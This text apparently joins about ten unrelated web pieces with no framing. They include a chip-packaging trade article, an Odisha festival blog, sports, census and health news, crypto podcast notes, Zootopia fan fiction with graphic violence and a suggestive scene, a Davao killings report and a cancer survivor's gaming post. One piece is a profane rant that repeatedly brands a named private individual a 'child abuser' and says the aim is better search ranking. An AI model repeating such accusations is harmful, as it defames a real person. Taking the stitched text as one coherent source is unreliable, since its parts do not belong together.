40-metre-class European Extremely Large optical/near-infrared Telescope, the E-ELT, which will become “the world’s biggest eye on the sky”. Links Contacts Richard Hook ESO, La Silla, Paranal, E-ELT & Survey Telescopes Press Officer Garching bei München, Germany Tel: +49 89 3200 6655 Cell: +49 151 1537 3591 Email: rhook@eso.org Connect with ESO on social media -Systems in package are heading for the mass market in applications that demand better performance and lower power. As they do, new options for cutting costs are being developed to broaden the appeal of this approach as an alternative to shrinking features. Cost has been one of the big deterrents for widespread adoption of 2.5D. Initially, the almost universal complaint was that interposers were too expensive, which is why the majority of early adopters were in price-insensitive markets such as chips for servers and network switches. But there are less-obvious costs, as well. All of these packages need to be custom-designed because there is no standardized way of assembling various components into a package the way they might fit into an SoC. And not everything goes together seamlessly, adding to the time and overall cost and potentially affecting yield, which further drives up the price tag. Cost isn’t the only stumbling block, though. As companies developing these chips are finding out, there are a number of less obvious technical problems, including everything from different coefficients of expansion to testing and simulation issues. This is why TSMC Integrated Fan-Out (InFO) packaging has caught on over the past year. Fan-outs are a much simpler approach to heterogeneous integration than 2.5D. Rather than designing multiple chips using an interposer or some kind of silicon bridge, they basically can be pushed closer together on a board and then packaged. But how close together isn’t always clear. “The routes used to be 10 to 20 microns, so you could basically ignore the buzzing of the die at that geometry,” said John Ferguson, technical marketing engineer at Mentor Graphics. “Now they shoot for 5 microns, but ultimately it’s going down to 1 to 2 microns, which raises a question about how much interaction is going on with the different die.” That interaction could become more prevalent with higher-density fan-outs, which basically are a middle-of-the-road advanced packaging approach between existing fan-outs and 2.5D in terms of power, performance and area. “We used to look at the fan-out, which has a capability now of about a 2-micron line and space, as a poor man’s TSV or interposer,” said John Hunt, senior director of engineering at Advanced Semiconductor Engineering (ASE). “We came out with a high-density fan-out in January, which is a 16nm and 28nm die side-by-side fan-out, but instead of being a package with balls, it has bumps on it. It’s then treated as if it’s a die, and then placed on a BGA (ball grid array) substrate. It’s a hybrid solution. But using the fan-out eliminates the need to use a through-silicon vias interposer.” Hunt noted that ASE currently has 12 variations of fan-out in various stages of engineering and development. Thermal effects 2.5D moves everything much closer together, leveraging high-bandwidth memory and high-speed interconnects. In doing that, it also adds some problems that need to be understood and thought through by chipmakers. “Some materials expand more or less than others, and multiple layers expand or shrink at different rates,” said CT Kao, product engineering architect at Cadence. “If you deposit material on the wafer, you may see the wafer bulge up or down. The same is true of packages. If you have different materials in the package, a temperature change can cause big problems. If you have a mismatch it causes thermal stress. We’ve seen this in the polymer, which is organic, which is used to enclose the chip. It can shrink more than the metal.” A second problem is warpage, which can occur when an organic material absorbs moisture from the environment. “We’ve seen a problem with the solder joints between the package and the PCB,” said Kao. “During manufacturing, the package and the PCB warp at different amounts. The corner balls experience more stress and the worst. That’s a function of ∆T and thermal expansion. There’s also residual stress, which depends on what temperature you put the package together. If you use a high temperature for reflow, it’s stress-free at the time, but as it cools down the stress increases.” The worst-case scenario is a die crack inside the package due to different materials, which can lead to chip failure. Thermal expansion differences can cause warpage, solder ball cracks and system failure. There are some familiar problems that need to be taken into account here, as well, such as parasitics. “As the package gets hot, the parasitics change,” said Mentor’s Ferguson. “Resistivity changes with temperature. As you put everything in a package, you can change the path of the heat sink. We need to understand the temperature impact on the die. We do know that dies at advanced process nodes are sensitive to stress. How that impacts the transistors themselves is unknown. There are a lot of questions on all of this. How accurate is accurate enough, and what are the appropriate use models?” Answers to those questions are still not entirely clear. “Thermo-mechanical stress is indeed a problem,” said Max Min, senior technical manager at Samsung. “ We have worked on TSV-based, and we have put this together with micro-bonding in the packaging. There is indeed a lot of mismatch between the thermal-mechanical coefficients when you have a lot of microbumps. How we put designs together may affect the underlying transistor structure and stress and mobility. We need to model them and design them with an understanding of the material side. That’s an issue.” Creating blueprints and models As more of these systems-in-package reach the market, there is more history to show what can go wrong and more data on how to fix problems or avoid them in the first place. This is a prerequisite for building economies of scale into the design through manufacturing process. “The goal is to put more in less space,” said Bill Bottoms, chairman of Advanced Polymer Monitoring Technologies, a spinoff from Tulane University. “The problem is power. You can’t get things close enough together because of power density, so when you need high performance you have to keep the frequency low.” One way to achieve that is through new architectures and packaging. A heterogeneous integration consortium—supported by IEEE’s Components, Packaging and Manufacturing Technology Society (CPMT), and sponsored by SEMI and the IEEE Electron Devices Society—is working on a series of blueprints to iron out best practices and processes for making that happen. In addition, Si2 has a chip-package co-design group that is working to understand what is required for a design flow on advanced packaging. Mentor’s Ferguson pointed out there also is more attention being paid in conferences to advanced packaging. “A few years ago if you went to a packaging conference, it was equipment, engineering tools and testers. That’s starting to change.” All of this will help add some structure to 2.5D packaging to enable volume production, after which Bottoms predicts the price will drop significantly, regardless of whether the interposer is organic, silicon or glass. “This is no longer just about the process node. You shouldn’t have to force memory processes on logic, and you cannot make RF on a logic process.” It also will help add structure for 3D IC, which is still the least expensive approach to achieving throughput and density. Exactly where this packaging approach takes root, though, isn’t clear. While the focus has been on processors, memory has been stacked for some time, and some sensors are being packaged using this approach. “If you look at image sensors, that satisfies all of these criteria,” said Sitaram Arkalgud, vice president of 3D portfolio and technologies at Invensas. “There are through-silicon vias. There are logic die in cameras that is below the sensor. And these are very, very thin die. It’s in very high-volume production and it’s also very cheap. 3D is happening in a very big way, but in a different area than we typically look at.” He noted that for high-performance CMOS, 2.5D is current best approach. But it’s certainly not the only option. One of the big challenges is that packaging approaches are so tightly married to applications that it’s overwhelming to wade through all of the possible options, even for experienced engineering teams. Just coming up with the right parameters for models is difficult. “Your model is only as good as the data that goes into it,” said Arkalgud. “And then you keep validating it over and over and you come up with something reasonable.” Whether the tools are sufficient to deal with this is a matter of debate, too. The current thinking is that many of the existing tools work well enough for 2.5D. Whether they work for 3D is uncertain. Whether tools are sufficient to deal with advanced packaging is a matter of debate. “If you look at 2.5D, it’s not that demanding,” said Mike Gianfagna, vice president of marketing at eSilicon. “We’ve been able to develop proprietary analysis tools for thermal stress and warpage. But for real 3D, that’s going to require massive retooling. You start moving parts of the system and the specs you have in place about which slice is where and how you’re going to manage thermal stress—that affects the whole design flow.” Fine tuning this process will be challenging, as well. “We understand enough physics to understand what will be the likely problems,” said Mentor’s Ferguson. “The bigger challenge is prioritizing which impacts will be the most critical. So your design methodologies may be okay but if you have poor yield you have to scramble to fix it.” The final piece is testing. There has been a lot of focus on how difficult it is to test 3D-ICs because there are no exposed contacts for attaching probes. But testing high-density fan-outs and 2.5D chips isn’t so simple, either. “With 2.5D, you still have components integrated inside the package,” said Joey Tun, principal market development manager at National Instruments. “You’ve got integrated passive components. You also have functional density, which makes it significantly harder.” Conclusions The push into advanced packaging is inevitable as it becomes more difficult, expensive and time-consuming for most companies to continue shrinking features at the most advanced nodes. The end of the ITRS road map is a tacit recognition that change is required, and that change will come in many areas—materials, packaging, software, IP, tools, equipment and processes. All of these areas will undergo significant change over the next few years as the semiconductor industry retools from a centralized compute architecture, whether that is a PC or a phone, to a more connected and distributed and increasingly diverse compute environment. As William Chen, a fellow at ASE, observed rather succinctly, “We need to understand how things fit together.” That will take years, but it also will shift the focus of the semiconductor industry well beyond just the chip to the package, the system, and possibly even well beyond that. Related Stories Plotting The Next Semiconductor Roadmap Industry leaders examine enablers, implications, and perspectives for a changing technology ecosystem. Inside Advanced Packaging Why and where 2.5D and fan-outs are gaining traction, and what’s coming next. Thinking Outside The Chip Intel joins AMD, IBM on advanced packaging; performance is the key driver. Advanced Packaging Is Real, Now What? With all the industry leaders now on board, big changes are expected. -Festivals to commemorate ancient maritime traditions in South East Asia Baliyatra, meaning a ‘Voyage to Bali’, is a festival celebrated every year in coastal Orissa on Karthika purnima, the Full moon day of October-November to commemorate Orissa’s glorious maritime history. Masakapan Ke Tukad, is a Balinese festival where toy boats are floated in memory of maritime ancestors. Loy Brah Prahdip or LoyKrathong, meaning ‘the floating of lamps at night’, is a festival of Thailand that is celebrated in December (twelfth month of Kartika). During this festival, little rafts, made of plantain stems and decorated with flags, paper umbrellas, incense sticks, and lighted candles, with offerings of food and flowers, are set adrift on the river by people living near its banks. Three festivals, with similar celebrations consisting of ritualistic floating of toy boats, are celebrated in three different countries, in memory of ancient mariners, who undertook trans-oceanic voyages from Orissa to South East Asian countries including Indonesia and Thailand. Past cultural and commercial connections between Orissa and South East Asia ‘Boita Bandana‘ –symbolizes the ceremonial send off to the merchants’ ships of the past when seafarers of yore would set sail in large vessels called ‘Boitas’ to the islands of Bali, Java, and Sumatra and Borneo that now form Indonesia. The trade exchanges resulted in many cultural similarities between Bali and Orissa. The influence can be seen on temples and monuments, distinctive style of Indo-Balinese architecture, dance forms, art and handicrafts, tie-dye techniques and elegant textile designs. It is likely that the Mariners used monsoon wind and currents as an aid for sailing ships during their onward and return voyages to Southeast Asia. The decline of Orissa’s sea trade in the 19th century . In the 19th century, siltation and the formation of sandbars at the mouth of many rivers prevented ships from entering into the ports, leading to the decline in the usage of many ports. The Orissa coast frequently experienced cyclones and storms. Cyclones, accompanied by severe floods brought extensive damage and suffering in the districts of Balasore, Cuttack and the adjoining regions. Further, Orissa suffered greatly from the devastating floods which occurred between 1868 and 1896. Under such circumstances, the destruction of port installations was inevitable. The maritime trade was gradually transferred to Bengal, as the Europeans shifted headquarters from Balasore to Hugli. Thus, over a period of time, ancient methods of maritime trade disappeared, and are now only remembered and celebrated as rituals and social events along the east coast of India. Baliyatra celebration This festival is still celebrated throughout Orissa in memory of the maritime glory of ancient Kalinga. Apart from other places of Orissa, Baliyatra is celebrated with much pomp and grandeur in the historic city of Cuttack for seven days from Kartika Purnima (full-moon day of the month Kartika). Lakhs of people congregate in the famous Baliyatra festival of Cuttack city, where a fair is organized. Toy boats, made up of paper or banana peels, lit up with candles are floated on water, accompanied by blowing of conch and an occasional burst of crackers. It is a pretty sight to watch thousands of boats with blinking lights floating on the river at night, before they are swallowed up by the tide. Baliyatra festival is also associated with the legend of ‘Taapoi‘, a young girl who awaits the return of their sailor brothers. Rituals like ‘Bada Osha‘, linked with the boat making tradition of yore, and ‘Khudurukuni Osha‘ observed by unmarried girls to worship Goddess for the safe return journey of the family members from the sea, evoke memories of the maritime glory of ancient Orissa. Though the ancient ports are extinct, the memory of past traditions is preserved through these annual cultural celebrations. Taking a cue from the past, perhaps Indian exporters can explore potential export opportunities in the South East Asian markets that were once India’s favoured export destinations. Also Read: Pattachitra: A spectacular Folk art of Odisha If you like this post, please consider following the blog. Subscribe to Blog via Email Please like, share and/or leave feedback in comments below! References: Baliyatra: Reminiscence of Orissa’s Maritime Glory by Prabhukalyan Mohapatra Role of cyclones and other factors in the decline of the ports of northern Orissa, by Sila Tripati* and A. S. Unnikrishnan Bio Social By: Somali K Chakrabarti Hi there! Welcome to Scribble and Scrawl! Here, we delve into themes related to positive lifestyle, explore facets of art and culture, share travel experiences, and highlight inspiring stories. Hope you enjoy reading the posts. -ATLANTA - With a new stadium nearing completion right across the street, R.A. Dickey chuckled at the idea of not being the Atlanta Braves' oldest starting pitcher next season. A mere 42, Dickey will be ceding that honor to 43-year-old Bartolo Colon. ''I gave myself the nickname Little Ugly,'' Dickey quipped Friday after formally introduced by the Braves in an office tower overlooking SunTrust Park. ''Big Sexy and Little Ugly are going to be leading it on.'' All kidding aside the Braves insist their unorthodox moves show how serious they are about contending again for a postseason spot. The major hole in their massive rebuilding plan was the starting rotation. That's where Colon and Dickey come in, giving the Braves two guys who can eat up innings, mentor the younger pitchers and not require the sort of long-term commitment that might block the path of several top prospects who are still a year or two away. Colon and Dickey both agreed to one-year contracts with a team option for 2018. ''These aren't four- or five-year deals. These won't, theoretically, block any of our kids,'' said general manager John Coppolella. ''It will just give them a little more time. Guys that may have been force-fed up here now have a little more time to get their sea legs under them as they turn into really good big league pitchers.'' In a way, the signings of Dickey and Colon show that the Braves' timetable for a return to postseason contention has been pushed up a bit, coinciding neatly with the move from Turner Field to a $622 million suburban stadium that anchors a massive complex of retail shops, restaurants, office space, residential areas and a hotel. It was impossible to miss the symbolism of introducing Dickey from an eighth-floor suite that provided an ideal view of SunTrust Park and the furious construction activity going on below. This is a franchise that has undergone a major overhaul, on and off the field. ''It's a real honor for me to be a part of a very storied franchise that looks like it's on its way to becoming what it once was,'' Dickey said. ''I'm happy to be a part of that growth and hoping that I can add to what they did at the end of the year.'' -Welcome back! Topics covered in this episode include: Ron Paul and the Modern Freedom Movement Why “money” and “economics” are important to achieving personal liberty Evolution of Crypto-currencies (Bitcoin vs Dash) How Amanda became the first-ever podcast/vblog to get funding DIRECTLY from a blockchain (and why this is a necessary step towards crypto-economic longevity). Amanda B Johnson started down the rabbit-hole of libertarianism and voluntaryism in 2011. At the time she was struggling to find work and became really interested in what caused the economy to become so crappy. She heard about a guy named Ron Paul who was running for President and was shocked when he sounded like he was speaking the truth. With her new found enthusiasm, Amanda started creating liberty related, Ron Paul videos on Youtube and quickly gathered following. She became fascinated with money and economics and the role they play in pursuit of personal freedom and wanted to share her new found perspective with the world. In 2013, Amanda encountered Bitcoin. Like many of us, she read and studied it with passion and eventually wrote blog posts for several large Bitcoin publications including Bitcoin Magazine, CoinTelegraph, Bitcoin.com. In late 2015, Amanda started a YouTube series entitled The Daily Decrypt, which discussed the currency competition and evolution taking place in the crypto space. By mid-2016, she decided to specialize in one network in particular -- Dash -- which she finds to be the most technically and economically superior thus poised to gain strength, market-cap and influence. She named the new show Dash: Detailed. Amanda and her colleagues are the first ever podcast or video blog to be sponsored and paid DIRECTLY from the Dash blockchain, or any blockchain for that matter. Someone needs to add this to Wikipedia. A self-funding blockchain this is an evolutionary step for cryptocurrencies. Unlike Bitcoin, the Dash blockchain allocates a certain % of the block-reward (or inflationary payout) to fund projects which help build, support and market their network and is much more business-like in their approach.. Dash: Detailed is showing the world how blockchains and crypto-assets can be used to build and support a voluntary community and economy with a open-source and transparency money. Thanks again for tuning in! Build Freedom, Ashe Contact Info: Twitter: @Dashpay Dash: Detailed: https://www.youtube.com/dashorg Referenced Podcast: LE41: Generating Passive Income with a Crypto-currency ATM with Cindy Zimmerman - http://libertyentrepreneurs.com/2016/07/le41-generating-passive-income-crypto-currency-atm-cindy-zimmerman/ PLEASE LEAVE A REVIEW ON YOUR FAVORITE PLATFORM! -The title is not something I just made up for attention. It is straight from the child abusing mouth of Zach Rosenberg, to and about his four year old son, now gracing the pages of the post-Matlack version of the Good Men Project. The unfortunate youngster had informed his father that he had tried to kiss a girl at school, and that the girl didn’t like it. Rosenberg told him that the attempted kiss was rape. As most of you who follow my writing know, I am a pacifist. I can think of very, very few situations in life, almost none, where I think violence is an answer. Zach Rosenberg almost tested that today. What kind of father tells his four year old son that trying to kiss a girl is rape? Take that back, what kind of human being does it? I have literally hundreds of adjectives that come to mind, none of which I will bother sharing here. Besides, I hope that I cannot compete with what you are now thinking yourself. The real question here is not what kind of human being Zach Rosenberg is. We don’t even need to ask because he tells us himself in the article, when he discloses that he is more comfortable talking to his son about rape than he is sex. ◊◊◊ There was a twenty minute pause before I starting typing this part of my commentary. That is a rarity for me. I typically form what I want to say in my head it flows out pretty evenly. I have spent more time mentally stuttering on this one than writing. I am simply at a loss on what to say. I will start with the obvious. Zach Rosenberg is a child abuser. Let me say that again in a headline tag so it will Google all the better. Zach Rosenberg is a child abuser. And the abuse he is delivering is sexual, because the sexual shaming of children is sexual abuse. He is so ideologically driven that he is uncomfortable talking with his son about healthy sexuality, but has no problem calling him a rapist as he sits at the dinner table. He has taken the innocence of childhood and criminalized it in the mind of his own child. He has taken his son’s normal sense of curiosity and desire to express affection and twisted it into a sex crime. His son, courtesy of a really fucked-up father, has now internalized the word rape into his personal identity. That is the thing about childhood, especially at that age. Children see their parents in the light of gods. They are the providers and protectors. They are the teachers and the all-important mirrors of their children’s identity. This is why what parents say to children about who and what they are is so goddam important. They internalize it. They become it. To a four year old, parents are often infallible. If Dad says you raped someone, you did. Even if you don’t know what the word really means. In Zach Rosenberg’s narcissistic need to create a Mini-Me of gender ideology, or perhaps just a cheap and base desire to appeal to female readers whose approval he craves, he has sacrificed his four year old boy. Rosenberg has taken what at worst is a common opportunity to teach a boundaries lesson to a child, and turned it into something vile. ◊◊◊ OK, I have just spent a few more moments stuttering again, struggling for what else to say. I find that I have nothing. I never want to think about this motherfucking child abusing asshole again for as long as I live. I will instead close with a note to Lisa Hickey. You know this shit is wrong. Shame on you. Oh, and one more thing. Some day Zach Rosenberg’s son will get old enough to read this. Hopefully by then he will have figured out that it was his father, not him, that is so fucked up. Note: This article is also available in Spanish. -British Columbia is known for being one of the most expensive places to live in Canada, but household incomes in the province were below the national average, according to newly released Census figures. Median household income in B.C. — meaning half of households made more and half made less — was $69,995 in 2015, Statistics Canada figures show. This compares with $70,336 in Canada, $74,287 in Ontario and $93,835 in Alberta the same year. B.C. also had higher rates of low-income households and children living in low-income households than was the case nationally. The Vancouver Metropolitan Area, which includes most of Metro Vancouver, ranked 15th in the country in terms of median household income in 2015, at $72,662. This was just behind Abbotsford-Mission. Calgary and Edmonton topped the country at $99,583 and $94,447 respectively. Household income growth in B.C. kept pace with country Household income in B.C. grew by 12.2 per cent between 2005 and 2015. This was slightly higher than the national rate and placed B.C. in the middle of the pack relative to other provinces, ahead of Ontario, Quebec and the Maritimes but well behind Alberta, Saskatchewan and the territories. In Metro Vancouver, the Census also revealed sharp income differences from one neighbourhood to another. The province was home to Canada's poorest urban community, Vancouver's Downtown Eastside, with a median household income of $17,051 in 2015. B.C.'s richest neighbourhood, at $145,481, was in West Vancouver. Map shows median household income by census tract in 2015. Click on an area for details. Northern B.C. saw highest incomes in 2015 Five of the 10 B.C. municipalities with the highest household incomes in 2015 were in northern B.C., four of them in northeastern B.C.'s Peace region. Northern B.C. was also home to many of the communities that recorded the largest growth in household income between 2005 and 2015. The Peace region, Dawson Creek and Fort St. John all saw increases in household income of 30 to 35 per cent between 2005 and 2015. However, the data was collected by Statistics Canada in 2015, before the economy responded to the impact of the sharp decline in oil prices. Brad Sperling, a director of Electoral Area C for Peace River Regional District said he was surprised to see his municipality at the top of the household income list. "We're industry-based ... so I can see where the income would be high. It's in the oil and gas industry," Sperling said. "It can be here today and gone tomorrow." Starting in 2015, there was a two-year slowdown in the region due to a decline in energy prices, so data from that year does not paint an accurate picture of the area today, he said. Things are starting to pick up again now, Sperling said, adding that to him, the most important metric is unemployment. The cities with the lowest median incomes, meanwhile, were scattered throughout the province. At the top of that list was Electoral Area A, which includes a vast swath of territory above Metro Vancouver' North Shore and Coquitlam as well as the University of British Columbia. Median household income in the university area was just $46,322, which is likely reflective of the large number of students living in that district. There were three B.C. communities where median household income dropped between 2005 and 2015: Quesnel, Port Alberni and West Vancouver. Port Alberni and Quesnel were among the lowest-income communities in B.C., while West Vancouver was one of the richest. With files from Andrew Kurjata -After marijuana was legalized for adults in the U.S. state of Washington, younger teens there perceived it to be less harmful and reported using it more, a new study found. States should consider developing evidence-based prevention programs aimed at adolescents before they legalize the recreational use of marijuana, the researchers said today in JAMA Pediatrics. "Across the country there has been a decreased perception of risk and an increase in marijuana use among adolescents," lead author Magdalena Cerda, of the University of California, Davis School of Medicine in Sacramento, told Reuters Health by email. She noted that trying marijuana at a young age is tied to an increased risk of regular use later on. Chronic use of marijuana may be tied to negative outcomes, such as psychosis and poor financial status. Since 1996, 28 states and Washington D.C. have legalized marijuana for medical purposes, and Colorado and Washington state legalized it for recreational purposes in 2012. For the new study, the researchers used data from a national survey of 253,902 teens in grades eight, 10 and 12. The survey, conducted between 2010 and 2015, included questions about how harmful adolescents perceived marijuana to be and whether they had used it within the past month. In Washington state, eighth graders' perception of marijuana's harmfulness fell by about 14 percent from before legalization (2010 to 2012) to afterward (2013 to 2015). Similarly, among 10th graders, the perception of harmfulness decreased about 16 percent. Additionally, the proportion of kids reporting marijuana use in the previous month rose 2 percent among eighth graders and about 4 percent among 10th graders over that same period. Those changes were significant when the researchers compared them to states that hadn't legalized recreational marijuana, where teens' perception of harm fell by 5 to 7 percent and their use of the drug only increased about 1 percent. There were no significant changes in perceived marijuana harmfulness or use among 12th graders in Washington, however. The researchers speculate that older students may already have a fully formed opinion of marijuana. Additionally, the researchers didn't see any significant before-and-after-legalization differences among students in Colorado. Possibly, they say, this might be because adolescents there were exposed to a robust medical marijuana industry before its recreational use was legalized. In an editorial accompanying the new study, Dr. Alain Joffe of Johns Hopkins University School of Medicine in Baltimore said research on marijuana is crucial for public policy development. "Sound public policy should be based on data that are meticulously collected and thoughtfully analyzed," writes Joffe, who is an associate editor of JAMA Pediatrics. "The evolving status of marijuana in the United States provides a critical opportunity for us to do so." Since 2012, Alaska, California, Maine, Massachusetts, Nevada, Oregon and Washington, D.C. have also approved marijuana for recreational use. Last year, the American Academy of Pediatrics reaffirmed its opposition to the legalization of marijuana, which it says may be harmful to youths (see http://reut.rs/2hhKNH2). -"Oh no, he will," Bellwether cackled through her crooked teeth as she fired the gun. The pellet flew through the air and hit Nit at the back of his neck, right below the ear. He stumbled, and fell to his knees, panic taking over him as he looked frantically around the pit they found themselves in. "Run, carrots," he gritted his teeth as his eyes began to change. Judy stopped, she looked at Nick as he twisted in an abnormal manner and began to growl hideously. "You thought I wouldn't check? Please, Judy, your little blueberry trick didn't fool anyone." Judy began to breathe heavy with fear, she was trapped in a pit with a savage fox, with Nick. He turned to her, crouched down on all fours, he fixed his eyes on her and Judy was frozen. Both the pain in her leg and in her heart was keeping her still, she was about to be killed by her friend, her only friend. Tears began to well in her eyes and her ears drooped, Nick approached and she remained still. She could feel his approach, his eyes staring with such intensity and his breath warming the air around her. "Please, Nick," she quietly whimpered as he brought his face inches from her own. She waited for it, the shock of his teeth around her neck, of the pain as he ripped her apart and ate her as he was designed to do. But it never happened, his jaws remained closed and his eyes lost their fire, instead he sniffed her. Her head first and then her face, his nose traveled along much of her torso and body as he began to circle her. She watched in a shock that Bellwether shared as the fox circled her with a playful grin, his tail wagging ever so softly. "What?" was all Bellwether could manage, she turned to one of her cronies and snapped at him. "Get down there and finish them," the ram looked up at her as if she had gone mad. "There's a fox in there." "I don't care, and he's obviously not much of a threat," Bellwether walked over and pushed the ram in "So finish them." As the ram hit the floor of the pit Nick changed, his fury was back and he turned towards the intruder. Stepping in front of the motionless Judy he placed himself between her and the ram, he snarled loudly and began to back up pressing into Judy's chest with his butt. Her eyes widened as the steady pressured forced Judy to the ground and Nick took up a place over her. She was being covered completely by his body as he stood above her and tightened his muscles. The ram stumbled up and faced the duo, putting his hands out in front of him as he approached. Nick tightened, even more, the closer he came, and Judy watched Nick's muscles he had previously kept hidden visibly moved beneath his clothing. "Now, now fox," the ram said "I don't want to hurt you, why don't you just hand over the bunny and," the ram never finished, instead he charged. Judy watched from under Nick as the ram barreled for them, they had less than seconds, she went to roll and Nick disappeared from over her. She looked up to see Nick soaring through the air to meet the ram, perhaps it was his savage instinct or what little bit of that cunning mind of his that was still present. Either way, the ram never stood a chance, Nick landed on one of the rams horns and drove him into the ground before going for the throat. Bellwether watched in horror as nature played out before her and she saw the exact reason she had always feared and hated predators. Below in the pit, Judy watched as well, with a mix of relief and her own sense of fear. She raised herself off the ground and looked up at Bellwether with her hands on her hips, a smug look plastered on her face. A thought occurred to her and she pondered if it would work if it was possible. She decided there was no harm in trying. "Nick," she said accompanied by a pat on her thigh "Come." Dutifully he obeyed and left his kill to trot over to her, his paws leaving red marks in the sand. He stood by her side and began to rub his face against her thigh, nudging her paw in an attempt to coax her into scratching him. She obliged and scratched lightly behind his ear as she turned to Bellwether. Bellwether was fuming, she looked from the ram to the bloodied fox and the smug rabbit petting it. "Fine," she said, "If he won't kill you, then I will just do it myself." "Attempted murder is a serious crime Ms. Bellwether." "Ha, I am the law, Judy. Look around, you're alone, no one will miss you or your pet." "Actually Mayor Bellwether, I suggest it is you that should look around," came a deep, accented voice behind her. She turned to see Chief Bogo and what she would assume to be the whole ZPD glaring down at her. Judy smiled as Bellwether was cuffed and escorted away and the fox beside her, continued his nasal odyssey of her body. Bogo grinned as his officers took the crooked mayor away, he crossed his arms over his chest triumphantly. "Good work Officer Hopps, a team will be here to pick up the fox, but you seem to have a handle on things-oh," as he turned he was greeted by a most embarrassing sight. "Actually could someone, maybe, tranq him, uh, now he-ooh-is -uh-getting a bit too curious," Judy said as Nick buried his nose into her rear and breathed deeply. She silently cursed herself that the smell she was currently shooting out in every direction would only invite him to go further. "Right, Del Gato, help out officer Hopps." "Looks like the fox is doing that fine on his own sir," Del Gato said as he pulled out his tranq gun. -Old pastoral letter cites ‘death squad’ existence in Davao MANILA, Feb. 21, 2017— While Malacañang denied there’s such a “death squad” in Davao city, a church document issued more than 15 years ago cited the existence of the group that carried out secret killings of suspected criminals. As early as November 2001, the Archdiocese of Davao wrote a pastoral letter,“Thou Shall Not Kill,” in expressing alarm over the spate of extrajudicial killings in the city. Although it stopped short of linking President Rodrigo Duterte to such killings while mayor of Davao City, the letter deplored his supposed tolerance on “criminal groups like the Davao Death Squad to kill”. “It is an admission of failure in the fulfilment of its obligation to prevent crime and its recurrence,” part of the statement, signed by then Davao Archbishop Fernando Capalla, read. Duterte has repeatedly denied his involvement in any summary killings as Davao mayor and claimed that the term Davao Death Squad or DDS was only invented by his local political rivals. The Human Rights Watch (HRW) reported at least 1,424 cases of summary executions in Davao City from 1998 to 2015. The data does not include those killed in nearby cities where the alleged DDS have expanded. Redemptorist Fr. Amado Picardal, former spokesman of the Coalition Against Summary Executions, said the victims in Davao City alone also include 132 minors–126 boys and six girls. The youngest was a 12-year old boy and a 15-year old girl, he added. He said Duterte has been accused of operating a death squad but he has not been prosecuted because no witnesses have come out. Picardal left Davao City in 2011 after he was reassigned to Manila but he lamented that until 2015, summary killings still occurred in the city. A retired police officer supposedly confirmed at a news conference on Monday the existence of DDS and implicated Duterte in extrajudicial killings in Davao City. Arthur Lascañas narrated several killings that Duterte allegedly had ordered. And at one point, he broke into tears when he recalled his role in the deaths of his two brothers because they were drug users. Picardal said he is hoping and praying that more cops and DDS members will be “touched by their conscience and will have the courage to come out and testify”. “This will contribute to the stoppage of EJK and hold those responsible for the killings accountable,” Picardal said. As soon as he assumed the presidency in June last year, Duterte called on the public to help him in his war on drugs. The crackdown has resulted to at least 7,600 deaths. Authorities said more than 2,500 died in shootouts and legitimate police operations. (Roy Lagarde/CBCPNews) -Highly Rated Copy URL View Post Hi. My name is Kate. I have been playing Overwatch since open beta last year on May 23rd, and it's been a wild ride from then up to this point. Overwatch has held a special place in my heart, as it has with many others for the past year or so no doubt, and I don't know where else to post a thank you to the Overwatch team. I know they read the forums often enough and respond now and then when they have the time, but I want to explain how Overwatch has personally affected my life so they can understand how much they have helped me out indirectly. Last year, on March 24th, I was diagnosed with Hodgkin's Lymphoma (cancer). I had been working 40-50 hours a week at my local convenient store, trying to support my father and I at the time. I was only 19, and he didn't have much in the way of a job, so I couldn't afford time off or much of a break until I was forced to go to the ER earlier in March by a concerned coworker. The diagnosis came a few weeks later after a couple biopsies, but the signs were there -- I had lost 70 pounds over the prior months, was in a constant state of exhaustion, dizzy spells were frequent, and unrelenting pain in my chest put me on the edge 24/7. I went through a few surgeries, one being to have a port implanted so I could undergo chemotherapy for 6 months. I had to stop work immediately once I found out, and was left to the whims of my landlord, friends, and family who tried helping out however they could. (Just because you get sick, it unfortunately doesn't mean the bills stop coming..) Going further down the line, once I had started chemotherapy, I was bedridden. I was unable to do little more than simply exist-- eating was impossible for the first week after having a round of chemo, as was drinking, and I often had to be taken to the ER or my treatment center to receive IV fluids because of the dehydration. As my strength left me, so did my ability to walk on my own for a long time. It was summer time before I was able to move around without needing assistance or a wheelchair. I was on numerous medications, I remember at least four being to combat nausea, as I was dry heaving every other minute or so for couple months-- I had my very own bucket I kept at my side, because I lacked the ability to use the restroom by myself. I remember being hyped up when I realized the open beta was going to start in May. I had barely touched the computer much after my diagnosis, as I was just too exhausted all the time, but I had to try out Overwatch. All my friends had been excited for it, I was excited for it since I saw the cinematics on youtube, and I spent as much energy as I had that first day playing on open beta. In fact, it was my second FPS game I've ever played, next to TF2, and I had set my mouse sensitivity up to 100% without thinking about it and had thought that the game was too good for my computer because the screen kept changing so fast every time I tried to move! After realizing it was just my fault (as normal) that the game was acting crazy, I grew to love Overwatch. When the open beta ended, I was saddened because I was too afraid to buy it knowing that I had to be careful with what money I had left. My memory is a bit iffy in the earlier months of chemotherapy, but I remember asking my dad if it was alright if I used $40 of our money to buy Overwatch. At the state I was in, chemotherapy had left me deathly ill, and my dad was more on the side of providing whatever made me happy rather than staying strict with finances and said that if that's what I wanted, then I should buy it. (It probably helped too that I didn't get anything for my birthday other than a card from my sister, so technically it can be viewed as my own belated birthday present to myself. June 4th btw!!) Playing the game was.. difficult. I could only spend 5-10 minutes playing it at a time throughout the day, as I simply didn't have the energy to sit up and be energized for it. As time wore on, my body grew accustomed to the chemotherapy, and I started being able to spend a little bit more and more playing. Very late August, I joined a discord server known as Liberty's Last Army (LLA). I'd received an invite from a old friend because there were people who played Overwatch in it, and I wanted in. During Season 2 of Overwatch comp, I made so many friends in LLA and the game itself. I made friends that I talk with every day, that I play other games with now on a regular basis, that we group up with others now and then and have custom matches and still play QP and everything together just like last year. (It's hard to do comp anymore because some of our ranks have split now, some of are in silver or gold, a few are in diamond, and myself and a best friend are in masters [[HE'S AIMIN FOR THAT GRANDMASTER TOP 500 GET READY FOR THE BEST 720ING MCCREE YOU'VE EVER SEEN]]). The point I want to get across is -- because of my cancer, I was limited to very few things I could do in life. Every day I suffered in pain, whether it was the cancer, chemotherapy, side effects, or who knows what, it was a bad day. But. Overwatch was there for me. Overwatch turned my bad days into good days. There were days where I simply had to mute my mic on discord because my throat was sore and worn out from laughing so much during Overwatch. Overwatch kept me happy during one of the worst periods of my life. After chemotherapy, there was a month break before I had about a month of radiation. Then more scans. Anyone who's ever had a PET scan can tell you all about the gross milkshake smoothie stuff they make you drink. I don't miss those at all. In January, I had my port taken out, and I was in the clear. I had spent almost a year with 